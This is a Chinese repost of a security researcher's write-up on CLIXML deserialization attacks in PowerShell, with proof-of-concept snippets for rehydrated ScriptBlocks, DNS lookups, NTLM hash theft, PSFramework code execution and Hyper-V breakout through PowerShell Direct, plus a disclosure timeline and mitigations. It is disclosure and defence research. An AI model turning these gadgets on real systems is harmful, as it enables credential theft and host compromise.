在本文中,我们将了解到使用 PowerShell 的 CLIXML 反序列化可能会导致不良后果,包括远程代码执行。我们还将看到,广泛使用的解决方案(如 PowerShell Remoting 和 PowerShell Direct (Hyper-V))依赖于此类反序列化,并可能使您容易受到此类攻击。
我于 2024 年 3 月 18 日向Microsoft 安全响应中心(MSRC) 提交了我的研究。MSRC 于 7 月 22 日将此案结案,并表示已“修复”,一个月后我的研究得到了公开承认。然而,这种攻击仍然有可能发生,因此组织需要采取适当的预防措施来降低风险。我们将首先解释这一切是如何运作的,并向 IT 运营和 PowerShell 开发人员提出建议。
本文是我在SEC-T 2024上的演讲(视频:攻击 PowerShell CLIXML 反序列化)的后续文章。在本文中,我们将介绍深入的技术细节。如果您正在寻找更高级别的概述,请 参阅此博客文章如何突破 Hyper-V 并危害您的管理员 - Truesec。
在下面的视频中,我们展示了基于 CLIXML 反序列化攻击的 Hyper-V 客户机到主机突破场景。阅读本文后,您将了解它的工作原理以及您需要做什么才能确保它不会影响您的环境。
通过 CLIXML 反序列化攻击突破 Hyper-V
第 1 部分 - 反序列化攻击的历史
序列化是将数据对象的状态转换为易于传输的数据格式的过程。以序列化形式,数据可以保存在数据库中、通过网络发送到另一台计算机、保存到磁盘或其他某个目的地。相反的过程称为反序列化。在反序列化过程中,数据对象从序列化形式重建。
CWE-502:不受信任数据的反序列化是一种漏洞类,当应用程序反序列化可由对手控制的数据时会发生这种情况。
此类漏洞最早由 Marc Schönefeld 于 2006 年在Pentesting J2EE中描述,但在 Frohoff 和 Lawrence 发布Marshalling Pickles及其工具YsoSerial后,该漏洞才真正在 2015 年左右成为主流。Muñoz 和 Mirosh 后来在Friday The 13th JSON Attacks中展示了 .NET 应用程序中也可能发生反序列化攻击。尽管他们没有明确针对 PowerShell 反序列化,但他们的研究实际上涉及了 CLIXML,特别是在他们的PSObject小工具链 ( PSObjectGenerator.cs ) 中。截至 2024 年,大多数语言和框架都已在反序列化攻击的背景下进行了研究,包括 PHP、Python 等。
什么是小工具链?从本质上讲,小工具链是威胁行为者为利用漏洞而提供的序列化数据。小工具链旨在触发一系列函数调用,最终导致安全影响。例如,它可能从对威胁行为者控制的对象进行“destruct”的隐式调用开始。在该函数中,调用另一个函数,依此类推。如果您不熟悉反序列化攻击的通用概念,我建议您查看我之前关于 PHP Laravel 反序列化攻击的文章:从 S3 存储桶到 Laravel 反序列化 RCE – Truesec https://www.truesec.com/hub/blog/from-s3-bucket-to-laravel-unserialize-rce。网上也有很多很棒的资源!
据我所知,在 PowerShell 上下文中, CLIXML 反序列化攻击第一次得到适当关注是在 Exchange Server 漏洞利用期间。CLIXML 反序列化是 ProxyNotShell 漏洞利用链的关键组件。Piotr Bazydło 在《控制您的 Get Pwned 类型》https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend中很好地解释了它的工作原理,他继续研究 Exchange PowerShell 的主题(参见OffensiveCon24)。这项研究一直是我的重要灵感来源。但是,与我们在这里深入研究的主要区别在于,ProxyNotShell 和 Bazydło 的研究仅限于 Exchange PowerShell。我们将从总体上研究 PowerShell。
第 2 部分 - CLIXML 序列化简介
PowerShell是一种广泛使用的脚本语言,默认在所有现代 Windows 计算机上可用。PowerShell CLIXML是 PowerShell 的序列化引擎PSSerializer使用的格式。
cmdletImport-Clixml和Export-Clixml使在 PowerShell 中序列化和反序列化对象变得容易。cmdlet 本质上是底层函数[PSSerializer]::Serialize()和的包装器[PSSerializer]::Deserialize()。
以下是如何使用它的一个例子:
# Create an example object and save it to example.xml
$myobject = "Hello World!"
$myobject | Export-Clixml .example.xml
# Here we deserialize the data in example.xml into $deserialized. Note that this works even if example.xml was originally created on another computer.
$deserialized = Import-Clixml .example.xml
CLIXML 支持所谓的“原始类型”,这些类型可以用各自的标签进行声明。下表显示了几个示例。
Element | Type | Example |
S | String | <S>Hello world</S> |
I32 | Signed Integer | <I32>1337</I32> |
SBK | ScriptBlock | <SBK>get-process</SBK> |
B | Boolean | <B>true</B> |
BA | Byte array (base64 encoded) | <BA>AQIDBA==</BA> |
Nil | NULL | <Nil /> |
已知原始类型的示例
CLIXML 还支持所谓的“复杂类型”,包括列表、堆栈和对象。对象使用标签<Obj>。下面的示例是一个序列化对象。您可以在名为、和 的属性下System.Drawing.Point看到类型名称。System.Drawing.Point TN Props IsEmptyX Y
<Obj RefId="RefId-0">
<TN RefId="RefId-0">
<T>System.Drawing.Point</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<Props>
<B N="IsEmpty">false</B>
<I32 N="X">12</I32>
<I32 N="Y">34</I32>
</Props>
</Obj>
这就是 CLIXML 的快速介绍,应该涵盖了阅读本文其余部分所需的知识。如果您想了解更多信息,可以在此处的 MS-PSRP 文档[MS-PSRP]: 序列化 | Microsoft Learn下找到完整的规范。
PSSERIALIZER 和 CLIXML 反序列化
PowerShell Core 最初是 Windows PowerShell 5.1 的一个分支,并且是开源的 ( PowerShell )。我们使用公共源代码来了解反序列化的内部工作原理。
我们跟踪调用函数后的代码流PSSerializer.Deserialize,发现序列化的 XML 最终被解析、递归循环,并且每个元素最终都被传递给类中定义的ReadOneObject (serialization.cs)函数InternalSerializer 。
该ReadOneObject 函数确定如何处理数据,特别是如何反序列化数据。返回的对象将被重新水化或恢复为属性包。
让我们用一个例子来解释这两个术语。首先,我们创建一个 System.Exception 对象,然后使用 Get-Member cmdlet 检查它的类型。我们看到类型是 System.Exception。
$object = new-object System.Exception
$object | Get-Member
然后我们将 System.Exception 序列化为 CLIXML。然后我们反序列化该对象并再次打印类型信息。我们看到反序列化后它不再是同一类型。
$serialized = [System.Management.Automation.PSSerializer]::Serialize((new-object System.Exception))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member
对象$deserialized属于 类型Deserialized.System.Exception。这与 不同System.Exception。带有Deserialized前缀的类有时称为属性包,您可以将其视为字典类型。属性包包含原始对象的公共属性。原始类的方法无法通过属性包获得。
另一方面,使用rehydration$deserialized ,您将获得原始类的“活动对象”。让我们看一个例子。您会在下面的例子中注意到,该对象属于 类型Microsoft.Management.Infrastructure.CimInstance#ROOT/cimv2/Win32_BIOS,就像原始对象一样。因此,我们也可以访问原始方法。
$serialized = [System.Management.Automation.PSSerializer]::Serialize((Get-CIMinstance Win32_BIOS))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member
用户定义类型
用户定义类型是 PowerShell 模块开发人员可以定义的类型。但是,PowerShell 附带了许多模块,因此可以说我们也有默认的用户定义类型。用户定义类型在文件名中指定*.types.ps1xml ,您可以在 下找到默认类型$PSHOMEtypes.ps1xml。
默认类型的一个示例是Deserialized.System.Net.IPAddress。下面我们看到的类型定义types.ps1xml。
<Type>
<Name>Deserialized.System.Net.IPAddress</Name>
<Members>
<MemberSet>
<Name>PSStandardMembers</Name>
<Members>
<NoteProperty>
<Name>TargetTypeForDeserialization</Name>
<Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>
</NoteProperty>
</Members>
</MemberSet>
</Members>
</Type>
此类型架构适用于属性包Deserialized.System.Net.IPAddress,我们看到它们定义了一个TargetTypeForDeserialization。Microsoft.PowerShell.DeserializingTypeConverter是一个从 继承的类System.Management.Automation.PSTypeConverter。简而言之,此定义表示System.Net.IPAddress 在反序列化期间应将属性包重新水化为原始对象。
在我的系统上,我发现types.ps1xml包含 27 种将被重新水化的类型。请注意,这取决于您在计算机上安装的功能和软件。例如,域控制器默认安装 Active Directory 模块。
总结
在PSSerializer 反序列化过程中,对象要么转换为属性包,要么重新水化为原始对象。如果对象属于以下情况,则将重新水化:
-
已知原始类型(例如整数、字符串)
-
CimInstance类型
-
默认支持的类型DeserializingTypeConverter
-
用户定义类型(定义DeserializingTypeConverter)
第 3 部分 - 攻击 CLIXML 反序列化
在本节中,我们将开始研究 CLIXML 反序列化过程中可能出现的问题。我们将从一些不太有用的小工具开始,这些小工具对于理解事物的工作原理非常有用。稍后,我们将深入研究更有用的小工具。
脚本块补水
ScriptBlock (使用标签<SBK>)是已知的原始类型。此类型很特殊,因为即使从技术上讲它是已知的原始类型(应该重新水化),它也不会重新水化为 ScriptBlock,而是重新水化为 String。PowerShell GitHub 存储库中已出现多个与此相关的问题,PowerShell 开发人员表示这是出于安全原因而设计的。
https://github.com/PowerShell/PowerShell/issues/11698#issuecomment-801476936
好的,很好 – 没有重新水化的 ScriptBlocks。
还记得有一些默认类型是 rehydrated 的吗?我们发现有三种类型很有用,即:
-
行断点
-
命令断点
-
变量断点
我们发现,如果 ScriptBlock 包含在 中Breakpoint,那么它实际上会重新水化。以下是重新水化的源代码CommandBreakpoint ,请注意对 的调用RehydrateScriptBlock:
https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/serialization.cs#L7041
我们可以通过运行以下命令来确认这一点:
$object = Set-PSBreakpoint -Command nan -Action {calc}
$serialized = [System.Management.Automation.PSSerializer]::Serialize($object)
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | gm
$deserialized.Action.Invoke()
你还记得我上面展示的 Github 问题中微软的回答吗?他们说“我们不想反序列化 ScriptBlocks,因为会有太多地方自动执行代码”。他们这样说是什么意思?
我认为它们指的是延迟绑定参数。PowerShell 中有很多这样的参数。
# These two are obvious, and will of course pop calc, because you are explicitly invoking the action
& $deserialized.Action
Invoke-Command $deserialized.Action
$example = “This can be any value”
# But if you run this, you will also pop mspaint
$example | ForEach-Object $deserialized.Action
# and this will pop mspaint
$example | Select-Object $deserialized.Action
# And this
Get-Item .out | Copy-Item -Destination $deserialized.Action
# And all of these
$example | Rename-Item -NewName $deserialized.Action
$example | Get-Date -Date $deserialized.Action
$example | Group-Object $deserialized.Action
$example | Sort-Object $deserialized.Action
$example | Write-Error -Message $deserialized.Action
$example | Test-Path -Credential $deserialized.Action
$example | Test-Path -Path $deserialized.Action
$example | Test-Connection -ComputerName $deserialized.Action
# And way more
即使这个小工具不太实用,因为受害者必须使用属性名称“action”才能触发它,但我相信它仍然表明你不能信任反序列化的数据。
任意 DNS 查询
正如我们之前所讨论的,CimInstances 默认会进行补充。原始 PowerShell 安装附带了一些有趣的 CimInstance 类型。
第一个是Win32_PingStatus。下面我们看到的代码来自 Types.ps1xml 文件:
<Type>
<Name>System.Management.ManagementObject#rootcimv2Win32_PingStatus</Name>
<Members>
<ScriptProperty>
<Name>IPV4Address</Name>
<GetScriptBlock>
$iphost = [System.Net.Dns]::GetHostEntry($this.address)
$iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | select -first 1
</GetScriptBlock>
</ScriptProperty>
<ScriptProperty>
<Name>IPV6Address</Name>
<GetScriptBlock>
$iphost = [System.Net.Dns]::GetHostEntry($this.address)
$iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetworkV6 } | select -first 1
</GetScriptBlock>
</ScriptProperty>
</Members>
</Type>
我们看到 被IPV4Address 定义为包含对GetHostEntryScriptProperty 的调用,该函数将触发 DNS 请求。该函数的参数是属性。Address
在不安全的反序列化场景中,我们可以控制此值,从而从受害者的机器触发任意 DNS 请求。要尝试这一点,我们首先需要获取有效负载的模板,我们通过序列化对象来实现Win32_PingStatus 。
Get-CimInstance -ClassName Win32_PingStatus -Filter "Address='127.0.0.1' and timeout=1" | export-clixml .payload.xml
然后我们打开payload.xml并将Address 属性更改为我们选择的域。
CLIXML 有效负载文件,带有可操纵的 Address 属性
我们启动 Wireshark 来观察网络流量,然后使用 反序列化有效负载 Import-CliXml。
import-clixml .payload.xml
显示触发域名查询的网络流量
太棒了!我们可以从不受信任的数据反序列化触发任意 DNS 请求。这个小工具将是 Java URLDNS 小工具的“PowerShell 版本” 。
DNS 请求对安全有什么影响?本身影响不大。但是,在寻找目标应用程序可见性有限的安全漏洞时,它非常有用。攻击者可以设置 DNS 请求侦听器(例如 Burp Collaborator),然后使用此小工具作为其有效载荷。这样他们就可以确认他们的有效载荷已被目标应用程序反序列化。
可用性和格式
让我们看看另一个小工具,它不是很有用,但很有趣,因为我们将进一步了解这些 CLIXML 小工具的工作原理。让我们看看。此类型将使用属性作为参数MSFT_SmbShare来调用 cmdlet 。Get-Acl Path
<Type>
<Name>Microsoft.Management.Infrastructure.CimInstance#ROOT/Microsoft/Windows/SMB/MSFT_SmbShare</Name>
<Members>
<ScriptProperty>
<Name>PresetPathAcl</Name>
<GetScriptBlock>
$acl = Get-Acl ($this.PSBase.CimInstanceProperties['Path'].Value)
$acl.SetSecurityDescriptorSddlForm( $this.PSBase.CimInstanceProperties['SecurityDescriptor'].Value, [System.Security.AccessControl.AccessControlSections]::Access )
// Shortened for brevity
我们当然可以控制此属性的值并将其设置为任意值。如果提供了 UNC 路径,Get-Acl则会尝试进行身份验证,从而将受害者的 Net-NTLMv2 哈希发送到我们指定的远程主机。
我们生成一个有效载荷并设置Path 属性,类似于我们对 的操作Win32_PingStatus。但是,我们注意到它没有触发。
为什么?因为这个模块 ( SmbShare) 默认包含在 PowerShell 中,但不会在启动时自动加载。在 PowerShell 中,模块要么显式Import-Module <modulename>加载,要么在“接触”模块时隐式Get-SmbShare加载。当使用模块的 cmdlet(例如在本例中)或使用Get-Help或时,会触发隐式加载Get-Command。
换句话说,我们需要运行:
Get-SmbShare
Import-CliXml .payload.xml
但它仍然不起作用!
第二个问题是,我们试图滥用的属性是PresetPathAcl,但这不包含在“默认视图”中。在 PowerShell 中,Format.ps1xml 可以使用文件来定义对象的显示方式(请参阅about_Format.ps1xml – PowerShell | Microsoft Learn)。格式文件用于声明应在列表视图、表视图等中打印哪些属性。
换句话说,我们的小工具仅在显式访问PresetPathAcl时才会触发,或者在隐式访问所有属性时才会触发。下面我们来看看何时触发的小工具的一些示例。
$deserialized | Export-CliXml .save.xml
$deserialized | Export-Csv .save.csv
$deserialized | Select-Object *
$deserialized | Format-Table *
$deserialized | ConvertTo-Csv
$deserialized | ConvertTo-Json
$deserialized | ConvertTo-Html
因此,最后,我们启动 MSF 监听器来捕获哈希值。我们加载模块,反序列化数据,最后使用 export-csv 选择所有属性。
Get-SmbShare
$deserialized = Import-CliXml .payload.xml
$deserialized | export-csv .test.csv
SMB 服务器显示捕获的哈希值
任意提供商查询/哈希窃取者
现在让我们看看该Microsoft.Win32.RegistryKey类型。它在文件中定义了一个有趣的 ViewDefinition format.xml 。我们看到,当打印为列表(默认输出格式)时,它将Get-ItemProperty以成员PSPath 作为其 LiteralPath 参数执行调用。
现在,这更有趣了,因为默认情况下类型可用,并且默认情况下可以访问属性。受害者要触发该小工具所需要做的就是:
import-clixml payload.xml
…然后就好了!
SMB 服务器显示捕获的哈希值
远程代码执行
到目前为止,我们研究了在只有默认模块可用的情况下如何利用反序列化。但是,PowerShell 拥有庞大的模块生态系统。大多数第三方模块都托管在 PowerShell Gallery 上。
PSFramework 是一个 PowerShell 模块,在 PowerShell Gallery 上的下载量接近 500 万次。除此之外,还有许多模块依赖于此模块。一些值得注意的例子是 Microsoft 官方模块 Azure/AzOps、Azure/AzOps-Accelerator、Azure/AVDSessionHostReplacer 和 Microsoft/PAWTools。
PSFramework 模块使用自定义转换器实现用户定义类型。如果我们以该PSFramework.Message.LogEntry类型为例,我们会发现它让我们IPAddress 想起了之前看到的默认类型。关键区别在于它指定PSFramework.Serialization.SerializationTypeConverter了其类型转换器。
<Type>
<Name>Deserialized.PSFramework.Message.LogEntry</Name>
<Members>
<MemberSet>
<Name>PSStandardMembers</Name>
<Members>
<NoteProperty>
<Name>
TargetTypeForDeserialization
</Name>
<Value>
PSFramework.Message.LogEntry
</Value>
</NoteProperty>
</Members>
</MemberSet>
</Members>
</Type>
<Type>
<Name>PSFramework.Message.LogEntry</Name>
<Members>
<CodeProperty IsHidden="true">
<Name>SerializationData</Name>
<GetCodeReference>
<TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
<MethodName>GetSerializationData</MethodName>
</GetCodeReference>
</CodeProperty>
</Members>
<TypeConverter>
<TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
</TypeConverter>
</Type>
查看SerializationTypeConverter.cs,我们发现类型转换器本质上是 BinaryFormatter 的包装器。这是 Munoz 等人分析过的格式化程序之一,已知它容易受到任意代码执行的攻击。
https://github.com/PowershellFrameworkCollective/psframework/
该漏洞实际上与 ProxyNotShell 中被滥用的易受攻击的 Exchange 转换器非常相似。您可能还记得,用户定义类型是使用 重新水化的LanguagePrimitives.ConvertTo。这个和 BinaryFormatter 的组合就是我们所需要的。从 Munoz 等人那里,我们还了解到,如果您可以控制传递给LanguagePrimitives.ConvertTo的对象和类型,则可以实现代码执行。这是通过传递类型并隐式调用静态方法来完成的。完整的细节可以在 Bazydło 的NotProxyShell 文章中找到。XamlReader Parse(string)
换句话说,如果受害者有可用的 PSFramework,或者依赖于它的数百个模块中的任何一个,我们就可以实现远程代码执行。
我们可以通过运行以下命令来触发漏洞:
Write-PSFMessage "Hello World!"
Import-CliXml .payload.xml
顺便说一下,这是我们在上面的视频中用来突破 Hyper-V 并在虚拟机管理程序主机上执行代码的小工具。但稍后会详细介绍。
总结
我认为可以公平地说,CLIXML 对不受信任的数据进行反序列化是危险的。影响将因多种因素而异,包括您拥有哪些模块以及您如何使用生成的对象。请注意,到目前为止,我们仅在本地环境中讨论了这个问题。我们很快就会看到威胁行为者可以远程执行这些攻击。以下是当您在 PowerShell 中反序列化不受信任的数据时可能发生的情况的摘要:
在完全修补的原始 PowerShell 上,我们可以实现:
-
任意 DNS 查找
-
任意代码执行(如果使用属性“action”)
-
窃取 Net-NTLMv2 哈希值
未修补的系统(我们没有详细介绍这两个系统,因为它们很旧而且不再那么相关):
-
XXE(<.NET 4.5.2)
-
任意代码执行(CVE-2017-8565)
在安装非默认模块的系统上:
-
任意代码执行(影响数百个模块,包括三个微软官方模块)
-
其他多重影响
第 4 部分 - CLIXML 反序列化攻击向量
您可能会想“我不使用 Import-Clixml,所以这对我来说不是问题”。本节将说明为什么这并不完全正确。您需要注意的原因是一些非常流行的协议依赖于它,并且您可能会在不知情的情况下使用 CLIXML 反序列化!
攻击 POWERSHELL 远程处理
PowerShell 远程协议 (PSRP) 是一种用于在企业环境中管理 Windows 计算机的协议。PSRP 是 SOAP Web 服务协议 WS-Management (WSMAN) 上的插件。微软对 WSMAN 的实现称为 WinRM。PSRP 在 WinRM 上添加了许多功能,包括消息分段、压缩以及如何在 PSRP 客户端和服务器之间共享 PowerShell 对象。您猜对了 - PowerShell 对象是使用 CLIXML 共享的。
在此攻击场景中,服务器不是受害者。相反,我们将展示受感染的服务器如何对 PSRP 客户端发起 CLIXML 反序列化攻击。这是一个非常有趣的场景,因为管理员经常使用 PowerShell Remoting 连接到可能受感染的系统和较低安全级别的系统。
Invoke-Command cmdlet 是使用 PSRP 实现的 cmdlet 的一个示例:
$me = Invoke-Command -ComputerName dc01.dev.local -ScriptBlock { whoami }
命令“whoami”将在远程服务器上执行,并且$me将使用客户端会话中的远程命令的结果进行填充。这是一个强大的功能,因为 CLIXML 序列化被 PSRP 服务器和客户端用于来回传递对象。
但问题是,PSRP 客户端将反序列化从 PSRP 服务器返回的任何 CLIXML。因此,如果威胁行为者已经攻陷了服务器,他们可能会返回恶意数据(例如我上面介绍的小工具链之一),从而攻陷连接的客户端。
加密、证书、kerberos、双向身份验证以及 PSRP 使用的其他安全机制都很棒。但是,它们无法阻止这种攻击,前提是服务器已经受到攻击。
我们通过编译基于开源版本的自定义 PowerShell 来实现此攻击。我们唯一需要做的就是更改函数SerializeToBytes 并使其返回我们选择的序列化数据。您还需要一些逻辑来不破坏协议,但我们不会在这里详细说明。
作为概念证明,我们返回一个字符串(使用标签<S>)。
自定义流写入器已添加到 fragmentor.cs
现在,为了使 PowerShell Remoting 服务器使用我们自定义的 PowerShell,我们需要构建pwrshplugin.dll和更新microsoft.powershell WSMan 插件,并使其指向我们自定义的 PowerShell 版本。
指向我们自定义 PowerShell 的 Microsoft.PowerShell 插件
最后,我们通过 PSRP 对受感染的服务器运行示例命令进行尝试。我们发现不仅返回了我们的字符串,而且客户端还反序列化了我们的任意数据(标签<S>消失了)。
使用 PowerShell Remoting 攻击受感染的服务器时,客户端会触发漏洞
正如我们之前所描述的,这种攻击(不受信任的数据的反序列化)的影响将取决于受害者在其本地 PowerShell 会话中可用的设备以及他们如何使用结果对象。
在下面的视频中,我们展示了如何配置受感染的服务器(在本例中为 WEB19.dev.local)来提供哈希窃取工具的示例。当毫无戒心的域管理员invoke-command对受感染的服务器进行攻击时,威胁行为者会窃取他们的 Net-NTLMv2 哈希。
PowerShell Remoting CLIXML 反序列化攻击
这当然只是其中一个例子。如果您有其他小工具可用,您可能会遭受远程代码执行。在建议部分,我们将讨论您需要做什么来最大限度地减少影响。
突破 HYPER-V(通过 POWERSHELL DIRECT)
PowerShell Direct 是一种从底层 Hyper-V 主机在虚拟机中运行 PowerShell 命令的功能,无论网络配置或远程管理设置如何。客户机和主机都必须至少运行 Windows 10 或 Windows Server 2016。
PowerShell Direct 是 PSRP 协议,但使用 VMBUS 进行传输(而不是 TCP/IP)。这意味着相同的攻击场景也适用于 Hyper-V。这尤其有趣,因为服务器(VM)可以攻击客户端(Hyper-V 主机),在使用 PowerShell Direct 时可能会导致 VM 突破场景。请注意,例如,备份解决方案可以配置为使用 PowerShell Direct,从而为威胁行为者滥用 PowerShell Direct 调用创造反复的机会。
可以使用搜索顺序劫持来劫持 PowerShell Direct。如果我们将恶意的“powershell.exe”放在 C:Windows 下,它将优先于合法的 PowerShell。换句话说,我们将像在 PSRP 场景中一样构建自定义 PowerShell,并使用它来劫持 PowerShell Direct 通道。
这种技术就是您在本文开头的演示视频中看到的。我们展示的远程代码执行滥用了 PSFramework 小工具。在录制视频之前,我们安装了一个 Microsoft 官方 PowerShell 模块(依赖于 PSFramework)。除此之外,一切都处于默认配置。请注意,我们展示的所有其他小工具也都可以使用。
视频中看到的 C2 连接是使用定制的反向 PowerShell Direct 通道建立的。我们决定不公开分享 C2 代码或小工具链。
第 5 部分 - 披露时间表
时间 | WHO | 描述 |
2024-03-18 23:57 | Alex 致 MSRC | 向微软 (MSRC) 报告了 PoC 的发现 |
2024-03-21 17:33 | 微软云计算研究中心 | 案件已开庭 |
2024-04-15 19:03 | MSRC 致 Alex | “我们确认了您所报告的行为” |
2024-05-06 17:53 | Alex 致 MSRC | 要求更新状态 |
2024-05-07 21:09 | 微软云计算研究中心 | 结案 |
2024-05-26 23:33 | Alex 致 MSRC | 询问解决方案详情 |
2024-05-30 | 亚历克斯 | 开始通过 MS 和 MVP 朋友的联系升级 |
2024-06-04 | 微软致 Alex | 索要我的 SEC-T 演示文稿的副本 |
2024-06-04 | Alex 致微软 | 发送了我的 SEC-T 演示文稿 |
2024-06-26 15:55 | 微软云计算研究中心 | 开案 |
2024-07-22 23:02 | MSRC 致 Alex | “谢谢[…]问题已经解决。” |
2024-07-22 23:04 | 微软云计算研究中心 | 结案 |
2024-07-22 | Alex 致 MSRC | 提供帮助验证修复并提供解决细节。 |
2024-08-14 | Alex 致微软 | 发送提醒询问他们是否想对演示提供反馈 |
2024-08-19 | Alex 到 PSFramework | 开始接触 PSFramework。 |
2024-08-28 | PS框架 | 第一次接触。 |
2024-08-29 | 微软云计算研究中心 | 公开承认。 |
2024-09-13 | 亚历克斯 | 在 SEC-T 上展示。 |
2024-09-14 | 亚历克斯 | 已发布博客文章。 |
MSRC 回复称他们已经解决了该问题。
对我来说,MSRC 所说的“问题已修复”是什么意思仍然不清楚,因为他们没有分享任何解决方案细节。虽然很明显 PSRP 和 PSDirect 仍然会反序列化不受信任的数据,但似乎他们也没有修复微软自己的 PowerShell 模块中的远程代码执行(由于 PSFramework 依赖性),尽管根据它们的 security.md 文件(Azure/AzOps、Azure/AzOps-Accelerator、Azure/AVDSessionHostReplacer、PAWTools)它们属于 MSRC 的范畴。
2024-08-19,我决定亲自联系 PSFramework 背后的微软员工。他立即了解了这个问题,并迅速出色地解决了它(值得称赞,因为他在休假期间做到了这一点!)。
该研究于 2024-09-14 公开发布,距首次私下披露已有 180 天。
第 6 部分 - 缓解措施和建议
安全的 POWERSHELL 开发
在开发 PowerShell 模块时,重要的是要牢记反序列化攻击 - 即使您的模块没有反序列化不受信任的数据。事实上,即使您的模块根本不执行任何反序列化,这也可能是一个问题。
如果您的模块定义了用户定义的类型、转换器和格式,这一点尤其重要。当您向最终用户系统引入新的用户定义类型时,它将扩大其系统的攻击面。如果您运气不好,您的模块可能会引入一个新的小工具链,当最终用户使用 PowerShell Remoting、PowerShell Direct 或使用任何执行不受信任数据反序列化的脚本或模块时,该小工具链可能会被滥用。
1. 保护用户定义类型
-
小心使用 types.ps1xml 声明。请记住,威胁行为者可以在反序列化期间控制大多数对象属性。
-
小心使用 format.ps1xml 声明。请记住,该对象可能是恶意制作的,因此威胁行为者可以控制大多数对象属性。
-
实现类型转换器时要小心。网上有很多关于如何编写安全反序列化的优秀读物。这是一个很好的起点:https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
2. 避免使用属性名称“ACTION”
属性名称action 很危险,应避免使用。使用该名称的属性action可能会以最意想不到的方式导致严重漏洞。例如,以下代码容易受到任意代码执行的攻击:
$obj = Import-Clixml .untrusted.xml
$example = @("Hello","World!") # this can be any value
$example | Select-Object $deserialized.Action
对 IT 运营的建议
PSRP 仍然是管理环境的推荐方法。出于很多原因,您不应该再使用 RDP(远程桌面协议)或类似方法。但是,在使用 PSRP 或 PSDirect 之前,您需要记住一些事项。
首先,你应该确保远程控制的计算机已完全修补。这可以解决部分问题,但不是全部。
其次,您永远不应该在充斥着第三方 PowerShell 模块的计算机上使用远程控制。换句话说,您可能不应该从一体式管理 PC 进行远程控制。使用专用于管理任务的特权访问工作站。
第三,在使用远程处理之前,请遵循以下几点:
1. 检查您的 POWERSHELL 模块
通过启动新的 PowerShell 提示符并运行来检查启动时加载的模块:
get-module
但请注意,只要您使用其中一个 cmdlet,模块就会被隐式加载。因此您还应该检查系统上的可用模块。
get-module -ListAvailable
2. 减少您的 POWERSHELL 模块
当您安装 PowerShell 模块时,它可能会在您的系统上引入新的反序列化小工具,并且一旦您使用 PSRP、PSDirect 或使用任何导入不受信任的 CLIXML 的脚本,您的系统就会暴露。
通常来说,对 PowerShell 模块进行限制是一种很好的做法,因为第三方模块也存在其他风险(例如供应链攻击)。
然而,这并不像听起来那么容易。许多软件都附带自己的一套 PowerShell 模块,这些模块将安装在您的系统上。您需要确保这些模块不会引入小工具。
3. 手动小工具缓解
只要 PSRP 和 PSDirect 仍然依赖于(不受信任的)CLIXML 反序列化,就需要不断寻找和化解反序列化小工具。
举个例子,可以使用一个简单的if 语句来缓解“SMB 窃取小工具”。在 中找到以下代码C:WindowsSystem32WindowsPowerShellv1.0Registry.format.ps1xml:
<ScriptBlock>
$result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
$result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
if($result.Length -eq 5000) { $result += "..." }
$result
</ScriptBlock>
然后添加验证以确保 PSPath 属性合法。更新后的格式化程序可能如下所示:
<ScriptBlock>
$result = ""
if($_.PSPath.startswith("Microsoft.PowerShell.CoreRegistry")){
$result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
$result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
if($result.Length -eq 5000) { $result += "..." }
}
$result
</ScriptBlock>
https://www.truesec.com/hub/blog/attacking-powershell-clixml-deserialization
原文始发于微信公众号(Ots安全):攻击 PowerShell CLIXML 反序列化
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论